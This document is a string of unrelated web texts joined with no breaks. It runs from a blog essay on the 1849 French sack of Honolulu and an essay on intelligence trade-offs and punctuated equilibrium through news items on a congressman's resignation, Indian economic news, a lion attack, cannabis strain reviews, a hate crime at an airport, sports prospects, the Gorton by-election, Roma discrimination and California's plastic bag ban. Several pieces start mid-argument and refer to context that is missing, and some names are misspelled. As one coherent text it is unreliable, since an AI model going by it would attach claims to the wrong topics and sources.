As strange as it is to think of France invading anything–at least post-Napoleon–the French did, in fact, sack Honolulu. It happened in 1849, and what came to be known as the “Tromelin Affair” illustrates something I talked about in yesterday’s article on the early missionaries who came to Hawaii: how the inroads of missionaries often bring the military might of empires behind them. This is exactly what happened on the island of Oahu in 1849.
You may have noticed in yesterday’s article that all the missionaries I talked about were Protestant. That wasn’t a coincidence. Protestant missionaries were eager to convert the Hawaiian Islands to their version of Christianity, and in fact after the conversion to (Protestant) Christianity of several prominent members of the Hawaiian royal family Catholicism was, for a short time, officially suppressed. By the late 1840s there were a few Catholic missionaries in Hawaii, almost all of them French. The French government believed, not without foundation, that Protestant missionaries–most Americans and British–were manipulating the royal Hawaiian government to squeeze out French interests and Catholicism in general. Particularly irksome was King Kamehameha III’s high tariff on the importation of brandy into Hawaii, most of which came from France. With British and American influence growing in Hawaii every day, if the French were going to do something about it, they had to move fast.
Kamehameha III, King of Hawaii, refused to give in to French political and religious demands. His refusal triggered a militaristic response by French admiral Louis de Tromelin.
Louis Tromelin, a French admiral, arrived in the islands with two ships in August 1849. After talking over the situation with the French consul, Tromelin–a career officer who fought in the Napoleonic Wars–decided on a bold course of action. Tromelin addressed a manifesto to King Kamehameha with ten demands aimed at improving the conditions of Catholics and of French political and business interests in the islands. The king ignored Tromelin’s demands.
Angered, Tromelin sent a force of 140 French marines ashore, and on August 22, 1849, they took over the Hawaiians’ lightly-defended fort defending the harbor. The French destroyed all the Hawaiians’ weapons they could find, dumped gunpowder into the harbor and raided various royal properties in Honolulu, doing $100,000 in damage. Then they retreated to the fort. The Hawaiian people regarded the invasion as ridiculous and jeered and made fun of the French whenever they encountered them. Kamehameha continued to ignore Tromelin’s demands. Ultimately realizing that there was no way he was going to enforce the demands without embroiling the French government in a costly operation against Hawaii, Tromelin finally gave up. On September 5 he and his men left Honolulu, returned to their ships and sailed away.
Gerrit P. Judd was a Protestant missionary before he quit religious life and became a close friend and advisor to Kamehameha III. He was unable to get French reparations for their invasion of 1849.
The Hawaiian royal government was, predictably, outraged at the behavior of the French. This was the second incident in 10 years in which French Navy ships had meddled in Hawaii–an earlier incident in 1839 was also sparked by Hawaiian persecution of Catholics. Kamehameha sent an American-born diplomat, Dr. Gerrit Parmele Judd, to Paris to press for French reparations. The governments of the USA and Britain, more than happy to see France with egg on its face over the incident, supported him. Judd’s negotiations in Paris were inconclusive and ultimately he came home without reparations, though the French government stopped short of enthusiastically endorsing Tromelin’s invasion.
Although the Tromelin affair didn’t end up amounting to much on its own, it can definitely be seen as a cautionary tale. Over the next few decades, great power interest in Hawaii would only grow, and the more European, American and Asian powers took an interest in the islands, the more inevitable it was that Hawaii would eventually become a part of one of these empires. This is precisely what happened in the 1890s.
This, at least, was the conclusion of Thomas Hills and Ralph Hertwig in a new meta-analysis. They pointed to studies of drug research and enhanced mental traits.
In cases where drugs were used to boost brain performance, inverted u-shaped performance curves were the norm. In other words, past a certain stage, “enhancement” actually had a counterproductive effect. It was only helpful up to an optimal point.
In cases where specific aspects of brain performance were enhanced, there was usually a trade-off elsewhere. Those who excelled in certain types of intelligence, in other words, would usually languish in others.
People with high IQ, savant tendencies, or photographic memories, for example, often suffer from much higher rates of autism, extreme synesthesia, and neurological disorders.
Scientific American recently published an article about the fact that forgetting is actually an important part of memory. Those who have near-perfect memory find it almost impossible to recollect relevant information. The inability to forget efficiently seems to contribute to psychological problems like ADD and depression.
Sometimes there’s a limit to just how beneficial something can be. Trying to push things past that point can have unintended consequences.
A State of Equilibrium
The principle of equilibrium has been applied in almost all scientific fields. The basic idea is that opposing influences find a state of balance so that things don’t change much, if at all.
This concept was borrowed from the hard sciences and applied to game theory, the science of strategies. John Nash, popularized by the movie A Beautiful Mind, invented the concept of what has been aptly called a Nash equilibrium.
This state is reached when a “game” is being played by two or more players. If every player knows everybody else’s strategy, and has nothing to gain by changing their own strategy, a Nash equilibrium has been reached.
The math for game theory was originally developed to describe economic behavior, but it has since found applications in evolutionary biology.
The human brain appears to be in a state of evolutionary equilibrium. With a limited amount of energy available, and several other selective pressures in place, it didn’t make sense for the brain to become any more intelligent than it already has.
Punctuated Equilibrium
The idea of slow, gradual evolution has been challenged in recent decades by the newer concept of punctuated equilibrium. Rather than slow, tiny competitive changes, the new theory argues that evolution occurs in relatively short bursts, where a species splits into two or more species.
(Short bursts, in this context, last tens of thousands of years.)
While the theory originally saw a lot of criticism, evidence from the fossil record, and new discoveries from genetics, thrust the theory into the mainstream.
Essentially, something nudges one species or one population within a species to adopt a new strategy. This throws all the related species out of equilibrium, forcing them to adopt new strategies as well.
A key insight from the theory is that, most of the time, species aren’t evolving. They are in a period of stability. Only change in the environment results in the evolution of new strategies.
But once equilibrium is disrupted, all the effected species need to find a new strategy.
Ideas from evolution have often been borrowed, sometimes unfairly, and applied elsewhere. In particular, economics and evolution have often traded game plans, inspiring such views as social Darwinism, which has since been seen as a perversion of Darwin’s views.
The traditional evolutionary view assumes constant change. This has led some to mistakenly think of evolution as constant progress. While this is not what most evolutionary biologists have ever believed, the idea that every mutation holds the possibility to offer a competitive advantage does have an influence on the way that we view competition in general.
The realization that species are actually caught in stalemate most of the time has a very different influence. Rather than thinking that there is always some small change we can make in order to beat the competition, we must face the possibility that we are already in our optimal state, and that any change will put us at a disadvantage, unless it is a change to the entire system.
This makes it more difficult to argue, for example, that the poor or unemployed could do better if they just tried harder.
The old notion of gradualism and the new notion of punctuated equilibrium are sometimes pitted against each other unfairly. There is actually a significant amount of overlap between Darwin’s beliefs and those of the newer theorists. That said, ignoring the notion of equilibrium gives us a biased view of the way the world works.
The Best Time to Change
Changing at the wrong time leads to devastating consequences. But failing to change at the right time can have the same result. Strategies that were once effective can suddenly become inefficient or even counterproductive.
At least, that’s what modern evolutionary science tells us about the thoughtless, unplanned word of natural selection. What about the world of human behavior, where change can occur in less than a generation, and where we have the ability to see things coming?
Small changes did not add up to create fundamental transformations.
In 1994, The Academy of Management Journal published the results of an empirical test. Data collected from US minicomputer producers revealed that many of the principles of punctuated equilibrium also applied here. Organizational changes occurred rapidly and broadly. Small changes did not add up to create fundamental transformations. Changes in the environment, or replacement of the CEO, influenced whether or not a change would occur.
The New York State Psychiatric Institute published a paper in 2011 that took things a step further. Rodrick Wallace developed a formalized approach to apply the science of punctuated equilibrium to economics. It explains how the principles of variation, heredity, differential reproduction, mutation, and environmental interaction can be borrowed from biology.
Wallace is careful to point out that the principles of modern evolutionary theory offer “necessary, but not sufficient, conditions for understanding the dynamics of social entities.” In other words, it tells us something about economic behavior, but not enough to offer much predictive power.
…the best time to change is when everything else is about to change.
What we can learn from these breakthroughs is that the best time to change is not when things are running smoothly and nothing else seems to be changing. Instead, the best time to change is when everything else is about to change.
It’s less about always trying to pull ahead of the competition, and more about responding to changes in the environment. Then again, Wallace points out that organizations can “in a sense, select environments.”
In other words, the social environment is also evolving.
Trade-Offs
Do all strategies have a trade-off? The very idea of equilibrium hints that they do, but things aren’t quite so simple. Nick Rowe, an economics professor at Carleton University, elaborates on the trade-off assumption.
Graph any two (or more) dimensions, and draw any curve. If we always want more of x and more of y, all we care about is the boundary of that curve. A point below that curve isn’t interesting to us, because you can have more of x and more of y.
But along the boundary of the curve, you will almost always find a trade-off. Having more of x means having less of y, and vice versa. Only in very rare cases will there be a single point with the most x and the most y, simultaneously.
Whether it’s the slow, inefficient process of evolution or the fast, efficient process of innovation, you will eventually find yourself on the boundary of that curve.
On that boundary, the more children you have, the less parental care you can offer each of them. The fewer products you buy, the more each of them costs. Greater rewards require taking bigger risks. Higher quantity means lower quality.
And high intelligence increases your risks of mental, emotional, and neurological disorders.
We all face trade-offs. What are yours?
Rep. Ed Whitfield, the Kentucky Republican dogged by ethics problems around “special favors” he granted his lobbyist wife, is resigning from Congress next week.
Whitfield sent a letter to Kentucky Gov. Matt Bevin and House Speaker Paul Ryan announcing his retirement, effective Sept. 6, the day Congress returns from August recess.
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“As you know, I did not seek re-election to Congress this year and have now decided to submit my resignation as the congressman of the First District of Kentucky,” Whitfield said in a short, three-paragraph letter sent to Bevin’s office Monday and first reported by the AP.
Bevin said in a statement he will hold a special election on Nov. 8, the same day as the general election, to fill the remaining two months of Whitfield’s term.
Whitfield “has served the people of Kentucky’s first district admirably, and we wish him all the very best in the years ahead,” Bevin tweeted Wednesday afternoon.
James Comer, the GOP nominee running for Whitfield’s seat, has already said he plans to run to fill the vacancy.
“I will seek the nomination for the unexpired term of Congressman Whitfield, and fully expect to be on the ballot twice on November 8, once for the unexpired term and once for the full two-year term,” Comer said in a statement.
Whitfield, first elected in 1994, had already planned to retire after this Congress, announcing last year he wouldn’t run for another term amid an ongoing ethics investigation into special access he gave his wife, a lobbyist for the Humane Society Legislative Fund, as she pushed animal welfare legislation dealing with horse shows.
The House Ethics Committee released a scathing report in July that found Whitfield violated House rules by giving his wife “special favors.” But the committee ultimately decided against sanctioning Whitfield, saying he didn’t intentionally violate House rules regarding lobbying by a lawmaker’s spouse.
“Specifically, the Committee finds that Representative Ed Whitfield failed to prohibit lobbying contacts between his staff and his wife, Constance Harriman, and dispensed special privileges to Ms. Harriman,” the panel wrote in its July report, “but that he did not violate the rule against improperly using his position for his own interest.”
The critical report came after a more than yearlong investigation into Whitfield’s actions, first launched after a 2013 POLITICO story investigated his wife’s lobbying.
Here’s what you need to know today.
In response to a petition filed by the Enforcement Directorate, a special court has issued a non-bailable warrant for the arrest of Vijay Mallya. The petition accused Mallya of siphoning off Rs.430 crore from an IDBI Bank Ltd loan to his Kingfisher Airlines Ltd to purchase properties overseas. The warrant will now be sent to a local magistrate in the UK through the Ministry Of External Affairs. It may take 15-20 days to get Mallya back to India.
New economic data was released by the Commerce ministry yesterday which shows that the merchandise exports shrank 15.9 per cent in 2015-16 to $261.13 billion, and imports contracted 15.3 per cent to $379.6 billion. The trade deficit stood at $118.5 billon, compared to $137.7 billion in the previous financial year. Goods exports also contracted for the sixteenth straight month in March, when it fell 5.47 per cent to $22.7 billion, while imports also fell 21.5 per cent to $27.8 billion.
Taking a bold step towards breaking the stranglehold of sugar politics in Maharashtra, the Fadnavis government has decided to enforce a five-year ban on sanctioning new sugar mills in the drought-hit Marathwada region. Of the 202 sugar mills in Maharashtra, 40 per cent are in Marathwada region. Sugarcane crop occupies less than 4% of the cropped area but consumes 70% of the state’s irrigation water.The government is also planning to make drip irrigation compulsory for all sugar mills across the state in order to save water.
Other Notables
Continuing with his notorious streak of issuing tuglaqi firmans, Delhi CM Arvind Kejriwal has forced UBER and OLA to drop surge pricing. After he threatened the cab aggregators of cancelling their permits or worse impounding vehicles of their drivers, the two startups announced that they were suspending the surge pricing with immediate effect. Surge pricing is used as an incentive to get more drivers on the roads when the demand is more than the supply. Once the demand starts to ebb, prices return to normal. This is Economics 101. But does Delhi CM get it? Most likely not.
Dropping its claim over the Kohinoor diamond, Indian government told Supreme Court Monday that the 108-carot diamond is not a stolen subject but was voluntarily given to the British as compensation by Sikhs for help in Sikh wars. British PM David Cameroon had earlier opposed giving Kohinoor back to India saying that if one starts giving in to such demands then the British Museum would be empty.
Brazil’s lower house voted Sunday evening to approve the impeachment of President Dilma Rousseff. The measure passed with at least 342 of 513 members voting in favour. The senate will now take up the measure and if it also passes it then Ms Rousseff will stand suspended and be put on trial. She can either appeal to the Supreme Federal Tribunal, Brazil’s highest court or lobby senators and at the same time use the union muscle of her Worker’s Party to bring thousands to the streets to pressure the Congress. But either way, her future prospects look bleak.
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Don’t bar TASMAC, Regulate It: Total prohibition has never worked, including the multiple ones in Tamil Nadu. However, bringing down the number of TASMAC outlets could be useful.
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Swarajya Special
Time To Dismantle Stranglehold Of Sugar Politics In Maharashtra: A brief history of the sugar-political complex in Maharashtra and how Fadnavis can dismantle it.
The young buffalo was attacked by a lion at Mjejane Reserve, South Africa
Amazingly all of the animals walked away without any injuries, except perhaps, some bruised egos
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All looked lost when this young and lone buffalo was attacked by two lions in a South African national park.
But the pair had not bargained on the buffalo's friends coming to his rescue, and moments later they were tossed several feet in the air before being chased away.
The dramatic scene was captured on camera in the Mjejane Reserve on the border of the Kruger Park.
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Flyin' lion! A lion blindsides a smaller buffalo as it emerges from bushes at the Mjejane Reserve in South Africa.
Two on one: The hungry cat doesn't factor in the first buffalo's larger friend following behind and gets more than it bargained for
Under attack: All looked lost when this young and lone buffalo was attacked by two lions in a South African national park
Lone: The buffalo had become separated from the herd and become the prey for the two hungry lions
Vicious: The lion sinks his teeth and claws into the buffalo as it stands still after becoming lost
Early morning: The teens had joined Oliver's father Ian, 52, on an early morning game drive and didn't expect to witness a 'kill', let alone a battle between a hungry lion and a buffalo that had other ideas
Suspense: 'We had seen the two young lions on the prowl and were already quite excited to witness nature in action, but nothing could have prepared us for what we saw next', said Oliver Determined: The two young lions had been silently stalking the buffalo for about 45 minutes before the incident occurred In a flash they pounced and began to take down their prey.
The buffalo put up a brave fight, but ultimately looked destined to succumb to the ruthless attack.
'It looked like it was game over, he really looked finished', said Oliver. 'Then we saw two of the original herd coming back to investigate and we didn't really know what to expect'. Plan: In a flash they pounced and began to take down their prey. The buffalo put up a brave fight, but ultimately looked destined to succumb to the ruthless attack As the young buffalo fell to the ground, a large bull from the herd sized up the situation, seized his opportunity and attacked the young lion.
'It was insane, he flipped the lion about 5 metres into the air. I had never seen anything like it,' said Oliver. 'We visit the park two to three times a year,' said Oliver's father, Ian. 'In all the years we have been coming to the reserve, we have never seen anything close to what we saw that morning'.
'We really felt privileged to have witnessed such a rare occurrence'. Amazingly all of the animals walked away without any injuries, except perhaps, some bruised egos. Shocked: 'We visit the park two to three times a year,' said Oliver's father, Ian. 'In all the years we have been coming to the reserve, we have never seen anything close to what we saw that morning'
Desperate: The lion sinks his teeth deeper into the buffalo as it frantically tries to escape with its life Defend: As the young buffalo fell to the ground, a large bull from the herd sized up the situation, seized his opportunity and attacked the young lion Flying high: 'It was insane, he flipped the lion about 5 metres into the air. I had never seen anything like it,' said Oliver
Price: $15-17.00/gram
The unanimous favorite among our three tasters was Royal Tree’s Middlefork, a true Washington native born just outside the city of Bellingham. Perfected over years from Dutch Treat parent genetics, it’s no surprise that its aroma and flavor stole our hearts: Effervescent citrus and fresh-cut pine linger on the exhale in an impressive translation of aroma to flavor. Middlefork is ruggedly attractive, growing fuzzy buds that are absolutely packed with sticky, enticing trichomes. Meanwhile, its effects are commanding in strength, bolting all three of us to our seats in stunned satisfaction.
From the Tasting Notebook:
“Very attractive scent of sweet candied citrus fizz…I am definitely stoned.” –Will
“Kind of tastes like vanilla chai mixed with orange spice creamsicle. After a few hits from the vaporizer, my eyes fell into crescents, and I was hopelessly glued to the couch in a state of bliss.” –Bailey
#2 | Sherbet by Gabriel
Price: $45/eighth
Gabriel’s Sherbet weighed in as our panel’s second place flower, tying with Middlefork in its overall score but falling just inches short after calculating each panelist’s individual scoring. With Sherbet, we couldn’t help but obsess over the knotting of purple, blue, and green hues underneath the thick coat of trichomes and fiery orange hairs. Its aroma mimics that of a berry pie, from buttery crust to its fruity center, creating a unique bouquet that isn’t often captured by a single cannabis bud. Considering its price-to-quality ratio, Sherbet by Gabriel is among the best value on this list (plus, it’s pesticide-free).
From the Tasting Notebook:
“Beautiful bud with highly expressive features. Provides a heady, happy buzz with relaxing physical effects.” –Jeremiah
“Its color is variated and intricate with a dessert-like aroma of sugary dough, sweet berry, and deep grape.” –Bailey
#3 | Presidential Kush by Fifty Fold
Price: $50/eighth
Presidential Kush by Fifty Fold is beauty in a bag, showing off a thick layer of frosty trichomes against its dark, cosmic purple coloration. The buds bloom with perfect conic uniformity, like a Christmas tree covered in luminescent white bulbs. Its aroma is full and nuanced, expressing sweet and sour notes of fruit and berry, but these delicate fragrances are lost with heat. Though its exceptional aroma and appearance tied its overall score up with our two frontrunners, Presidential Kush’s muted earthy flavor left some room for improvement.
From the Tasting Notebook:
“Very complex and enticing smell of funky dankness and sweet sugary notes that keep me coming back to this bud. This was easily one of my favorite flowers in the whole lot.” –Will
“Beautiful frosted buds with uniform shape, but the flavor left much to be desired after its wonderful aroma.” –Jeremiah
#4 | Alien Dawg by NEBULA
Price: $48/eighth
Nebula Gardens is known for its bulky, resinous buds—and Alien Dawg is no exception thanks to its enormous, bulbous buds that build up off of each other to create an otherworldly mass of trichome-covered foliage. Gassy diesel aromas evaporate off the monolithic buds, intermixing with notes of pine and tangy fruit. This aroma translates well to flavor that carries hints of sweet earth, sandalwood, and herbs. The diversity of flavors and aromas combined with its commanding cerebral high made Alien Dawg a standout strain, especially among our tasters with a penchant for funky, gassy strains. It’s also pesticide-free.
From the Tasting Notebook:
“Sweet and sour aroma with overripe tree fruit and fresh soil. Its effects are cerebrally stimulating without feeling too top-heavy.” –Bailey
Mr. Broderick, coming off a lead role in the Broadway comedy “Sylvia,” will play John, a grieving widower. He’ll be joined by Lisa Dwan, Billy Carter and James Russell; Ciaran O’Reilly will direct. In his review for The New York Times in 2006, the chief theater critic, Ben Brantley, called “Shining City” a “quiet, haunting and absolutely glorious new play.”
The production marks not only the first New York revival of “Shining City,” but Irish Rep’s return to its newly renovated theater in Chelsea. (The company produced Mr. McPherson’s “Port Authority” at the DR2 Theater in Union Square two years ago.)
Robin Rhodes, 57, of Worcester, arrived at the airport from Aruba and was waiting for his connecting flight to Massachusetts on Wednesday night when he spotted Delta worker Rabeeya Khan wearing a hijab while working in her office, Queens District Attorney Richard Brown said Thursday.
Rhodes stalked up to the office door and started cursing at Khan, demanding to know if she was praying, Brown said.
He allegedly slammed the door with his fist, causing it to fly open and hit the back of Khan’s chair.
When Khan asked what she ever did to him, Rhodes gave a snarling reply: “You did nothing.” He then allegedly kicked her in the leg.
Khan tried to walk away, but Rhodes shadowed her and, at one point, got down on his knees to imitate a Muslim praying, Brown said.
Rhodes then shouted: “Trump is here now. He will get rid of all of you. You can ask Germany, Belgium and France about these kind of people. You see what happens,” the district attorney said.
Cops arrested Rhodes and charged him with assault, menacing and hate crimes.
The questioner Eddie Moye, a possible Hillary Clinton voter, asked Johnson what he would do about semi-automatic rifles. He named the AR-15 and the AK-47.
RELATED: Gun shop owner drops serious truth about the AR-15 in one clear demonstration
“Do you think that civilians in the United States should be allowed to purchase and own semi-automatic weapons like AK-47s or AR-15s?” Moye asked.
Here’s how Johnson responded.
“Well, right now that is a category of weapon that encompasses 30 million weapons — the semi-automatic,” he said. “Let’s just say we passed a law that outlawed semi-automatic rifles. I think that maybe you would have half of those rifles turned in and the other half of those rifles would be owned by law abiding citizens that are now going to become criminals.”
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“I think it’s a misunderstood issue,” he continued. “There are no automatic rifles currently allowed for sale. That went away decades ago.”
Moderator Anderson Cooper then asked if Johnson would change anything about the availability of the semi-automatic rifle if he were to become president and Johnson said no.
But chin up, folks. Because the Flames do have a lot of prospects in their system. And a lot of them range from good to excellent in several aspects of their games. And a lot of those good prospects will be on the same team this year – Calgary’s new AHL affiliate in Adirondack.
The more I study @NHLFlames prospects, the more convinced I become that the @AHLFlames are going to be one of the top teams in @TheAHL. — Derek Wills (@Fan960Wills) September 4, 2014
A GUESSWORK LINE-UP
Let’s presume, as the smart money is right now, that the Calgary Flames break camp with a mostly veteran roster. Sheldon Brookbank is your #7 defender and the club rolls with basically veterans and Sean Monahan. So what’s left for the Adirondack fans to get stoked about?
Here’s my stab at a line-up based on who has contracts right now.
Sven Baertschi – Max Reinhart – Emile Poirier
Johnny Gaudreau – Markus Granlund – Kenny Agostino
Michael Ferland – Corban Knight – David Wolf
Bryce van Brabant – Bill Arnold – Ben Hanowski
Extras: Turner Elson; Josh Jooris; Mathieu Tousignant; Garnet Hathaway
Tyler Wotherspoon – Sena Acolatse
Mark Cundari – Patrick Sieloff
Ryan Culkin – Brett Kulak
Extra: John Ramage
Joni Ortio
Brad Thiessen
Extra: Doug Carr
SO WHAT?
The Baby Flames look to have nine forwards, two defensemen and a goalie who spent time in the NHL last year. If you say that “significant” time is your barometer, then you have Baertschi, Wotherspoon, Hanowski and Ortio are considered.
If you go, okay, which of these players are guys the NHL club hopes turns into something? Ortio will probably be an NHL back-up in 2015-16 based on his contract. He was also really good last year in the AHL. Wotherspoon is a borderline NHL defenseman right now, while Sieloff could become one if he can stay healthy for a full season. Up front, the entire top nine are guys that the NHL club has plans for.
(As excited as some people are about Johnny Gaudreau, I’m pretty excited to see how Emile Poirier can do given a full pro season.)
And this line-up isn’t just exciting on paper, it also seems deep. The Heat got absolutely massacred with injuries last season (and seemingly every one before that) because of their stupid-crazy travel schedule. This year’s Baby Flames are a deeper team, and then when you consider that the travel will be a lot easier, that should be a sign of relief. Oh, and even if the (NHL) Flames get destroyed by injuries and a bunch of players get recalled – last year Calgary had Abbotsford’s #1 goalie, their top two defensemen and top 5 forwards up at the same time – this line-up can probably handle it.
WHAT COULD GO WRONG?
Oh, probably a lot of things. Injuries. Regression. A good chunk of these guys have played together, but chemistry is a tricky thing and the locker room could get disrupted.
Heck, I was excited for the physical Sieloff and Ferland to have good seasons last year, figuring at least one of ’em would translate to the NHL given Brian Burke’s involvement with the club. Both of them got hurt and missed most of the season. And John Ramage’s hockey bloodlines meant very little when he was struggling and dispatched to the ECHL.
Banks was taking many of the team's first-team reps at quarterback during the latter part of spring practice and separated himself with his combination of athleticism and throwing ability.
"He did a good job this spring picking things up. We evaluated practices 1 through 15 and I thought, for a guy coming into a new situation, he did a very good job," Fritz said. "He provides us with both a passing and a running threat, which in our offense you need to have. We're excited about his development."
The Green Wave finished last season with the second fewest passing yards of any team in the nation (1,360 yards) and brought in Banks as a junior college transfer with the hopes that he can provide a major upgrade to the team's passing game.
Banks started in Tulane's annual spring game on Saturday and only completed 5 of his 11 passes for 65 yards and fumbled the ball twice on botched running plays, but he's shown throughout the spring that he is capable of displaying the dual-threat abilities that are vital to running Fritz's spread-option attack.
"He ran quite a bit of what we do when he was in junior college," Fritz said. "He ran some zone-read (in junior college)...and that's one of the big reasons we're excited about him. He's shown running ability in junior college. A lot of guys show passing ability, but you've got to be able to do both in this offense.
"I jus thought he got better and better in spring, I know he's a little disappointed in his spring game performance, but he really had some good practices. We feel very good about his development."
Fritz said that Banks already has a grasp of "70 to 80 percent" of his offense and that the junior has done a good job of adapting to his new teammates.
While Fritz waited until days before the season opener to announce that Glen Cuiellette was the team's starting quarterback heading into the season, the second-year coach says that he feels confident that Banks will hold onto the job heading into the season opener against Grambling on Sept. 2.
"What I've been impressed with is him being able to grasp this offense so quickly. We knew the athletic ability was there with running and throwing the football, but he's got to keep progressing," Fritz said. "He's been a part of a lot of new systems over these past few years...But he's done a really good job of seeing what we're doing."
Nickerson injury: Fritz also announced on Tuesday that cornerback Parry Nickerson, who didn't participate in last Saturday's spring game, underwent a minor procedure on Monday to "clean up" his left knee.
"He had surgery on (Monday). It was just something to clean up in there," Fritz said. "He should be good to go here in about a month or a month and a half."
Nickerson was a second-team All-AAC selection last season after amassing 29 tackles, four interception and nine pass breakups. The former West Jefferson standout also returned one of his interceptions for a touchdown and was fifth in the nation with 171 interception return yards.
The redshirt senior has gone through issues with his knee throughout his time at Tulane, but Fritz says he expects Nickerson to be back on the field by the beginning of fall camp.
"We tried not to do it. He had some years where there were some shots and some other things where he'd be fine for a period of time," Fritz said. "It just came to the point where we said, 'Let's get this done now.' It's a good block of time and a window to get it done. We got it done and our doctors feel really good about it.
"I don't want to go anywhere else," Doughty said Tuesday on the eve of training camp.
EL SEGUNDO, Calif. -- Defenseman Drew Doughty said he wants to spend his entire NHL career with the Los Angeles Kings.
"I'd love to re-sign in L.A. But if our team isn't going in the right direction …," Doughty, who won the Stanley Cup with the Kings in 2012 and 2014, told the magazine. "I want to win Cups. I don't give a [darn] where I play. I just want to win Cups, and that's the bottom line."
He tried to clarify those comments Tuesday.
"My one comment, 'I don't care where I play. I just want to win [Stanley] Cups.' That is true. I just want to win Cups," said Doughty, who can become an unrestricted free agent after the 2018-19 season. "When I said that, it didn't mean I didn't want to do it in L.A. The bottom line is all I care about is Cups. I don't want to win a Cup anywhere else but L.A. That's the bottom line."
The past few seasons have been challenging for the Kings. Los Angeles has qualified for the playoffs once since 2013-14, losing to the San Jose Sharks in five games in the Western Conference First Round in 2015-16. Last season, the Kings finished with 86 points (39-35-8), failed to make the playoffs, and general manager Dean Lombardi and coach Darryl Sutter were fired, replaced by Rob Blake and John Stevens.
Doughty, 27, said he likes the direction the Kings are headed. Selected by Los Angeles with the No. 2 pick in the 2008 NHL Draft, he has 362 points (92 goals, 270 assists) in 688 games over nine seasons.
"It is one of the best organizations in sports," said Doughty, who won the Norris Trophy in 2015-16. "We still have some of our best players in their prime. We have these young guys coming up. We've got new coaches. Everything about being here in L.A. is very exciting and promising."
Doughty was asked if his comments were designed to put pressure on the Kings to build a winning team.
"I know people read it like that," he said. "That's not entirely how I meant it. At the same time, you never know what could happen. We might not come to an agreement on a contract. They might not want to sign me for what I want, vice versa.
"Things can happen. You just never know what can happen. So I may not be here. But I want to be here. I'm pretty sure the L.A. Kings and all our teammates want me to be here too. I'm sure something will happen and we will get it done. It's so far away, so many things can happen."
Doughty said he hopes what he said wasn't taken the wrong way by Kings fans.
"I hope I don't offend any fans when I made those comments," he said. "I just speak the truth and sometimes comments get taken in a different way.
Video: The guys on Drew Doughty's comments on playing in LA
"I've always wanted to be an L.A. King since I was 5 years old. When Wayne Gretzky came here, I wanted to be an L.A. King, no matter what."
Doughty is scheduled to become an unrestricted free agent in two seasons, after the completion of an eight-year, $56 million contract he signed on Sept. 30, 2011. It has an average annual value of $7 million. He can sign an extension starting July 1.
There has been speculation on social media of him someday playing for the Toronto Maple Leafs. Not so fast, said Doughty, who said he was swamped by fans during a recent trip to a Toronto Blue Jays game.
Doubts have been cast over whether the Manchester Gorton by-election can go ahead following the prime minister's decision to call a general election.
Manchester's returning officer is seeking clarification following Theresa May's announcement.
The poll was due 4 May - the day after parliament is set to be dissolved.
This would potentially create the anomaly of a newly-elected MP without a parliament to sit in.
Returning Officer for Manchester Joanne Roney OBE said: "We are seeking advice in discussion with the Government and Electoral Commission and will confirm arrangements for the Manchester Gorton constituency as soon as possible."
The Electoral Commission said the general election decision would not affect the metro mayor elections in Liverpool City Region and Greater Manchester on 4 May as these dates were "set in law".
But the BBC understands the snap poll means the Gorton by-election is unlikely to take place.
Cabinet member David Davis, Secretary of State for Exiting the European Union, said on Sky News the by-election would be cancelled, while the Leader of the House David Lidington told the Commons the decision on whether to hold the poll is one for the returning officer in Manchester.
Mr Lidington said parliament was likely to be dissolved on 2 or 3 May.
The House of Commons votes on Wednesday whether to approve the election.
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Roma make up 5% of Bulgaria’s population, says the census. Yet this is an underestimate, as many distrust officials and refuse to register, or misstate their ethnicity because prejudice equates it with backwardness and petty crime. In six central and eastern European countries the Roma are thought to make up 7-10% of the population (see chart 1). Across Europe, half of Roma lack such amenities as running water. Only 15% have secondary education.
The Roma population is also younger and faster-growing. One in five labour-market entrants in Bulgaria and Romania is a Roma, says the World Bank; one in six in Hungary and Slovakia. Yet their job prospects are little better than their parents’. School dropout rates are high (see chart 2). Custom values a bride’s virginity and traditional household role over education. Many parents, worried about their daughters mingling with boys, pull them out of school and marry them off. In the poorest families children often skip school to work.
Schools in Roma neighbourhoods, where 30-60% of them live, are dismal. Segregation is common. Over a quarter of Roma pupils in Bulgarian and Romanian schools, and half in Hungarian ones, are taught in separate classrooms. Segregation in Hungary is rising, partly driven by “white flight”.
A third of pupils in Czech schools for the mentally disabled are Roma, a higher share than two years ago. This prompted the European Commission in September to launch a case against the Czech Republic for discrimination. In April it did the same for Slovakia. If these countries do not change, they could face hefty fines. Yet politics stands in the way of reform. Anti-Roma sentiment is increasing in Bulgaria and Hungary, where minority-bashers gained parliamentary seats last year. Hungary’s Jobbik, led by the founder of a black-clad brigade of thugs who terrorised Roma neighbourhoods until banned in 2009, took 21% of the vote. Other parties now court anti-Roma voters.
Slovakia’s prime minister, Robert Fico, is no stranger to anti-Roma talk. Neither is Hungary’s Viktor Orban; his government’s best-journalist award in 2013 went to a broadcaster who was fined by the media regulator for calling Roma “apes”. Such indulgence gives the nod to discrimination. One 11-country analysis by the UN Development Programme found that in 2011 Roma men with only primary education earned 11% less than non-Roma men; for those with secondary education the gap was 24-39%. Last year Slovakia’s Financial Policy Institute sent a batch of fictitious job applications to employers; 37% of those with Roma names got a response, against 69% of the rest.
Such prospects, says Zeljko Jovanovic of the Open Society Foundations, drive Roma who succeed through education to hide their ethnicity and cut ties with the places where they grew up, depriving these areas of good examples. Migration data are lacking, but Roma are present in most rich EU countries, getting a mixed reception—from having makeshift camps bulldozed in France and Italy to being offered help in Belgium and Germany.
California becomes the first state in the nation to ban single-use plastic bags. California becomes the first state in the nation to ban single-use plastic bags. Photo: Justin Sullivan, Getty Images Photo: Justin Sullivan, Getty Images Image 1 of / 9 Caption Close California becomes first state to ban plastic bags 1 / 9 Back to Gallery
SACRAMENTO - Gov. Jerry Brown signed a bill Tuesday that makes California the first state in the nation to ban single-use plastic bags.
Many cities and counties in the state already have plastic bag bans in place, including San Francisco, San Jose and Los Angeles County. With Brown signing SB270 by Sen. Alex Padilla, D-Pacoima, grocery stores and pharmacies statewide will phase out the use of plastic bags by July 2015. A year later, convenience stories and liquor stores can no longer distribute plastic bags.
“This bill is a step in the right direction - it reduces the torrent of plastic polluting our beaches, parks and even the vast ocean itself,” Brown said in a statement Tuesday. “We’re the first to ban these bags, and we won’t be the last.”
SB270 provides $2 million in competitive loans to help plastic bag manufacturers convert their operations to produce reusable bags. Grocers will be required to charge at least 10 cents for each recycled paper bag or reusable bag provided to a customer.
The bill was one of the most watched proposals in the Legislature this year, with grocers, plastic bag manufacturers and unions fiercely lobbying lawmakers about the potential loss of jobs and about how the 10 cents charge for recycled bags can be used.
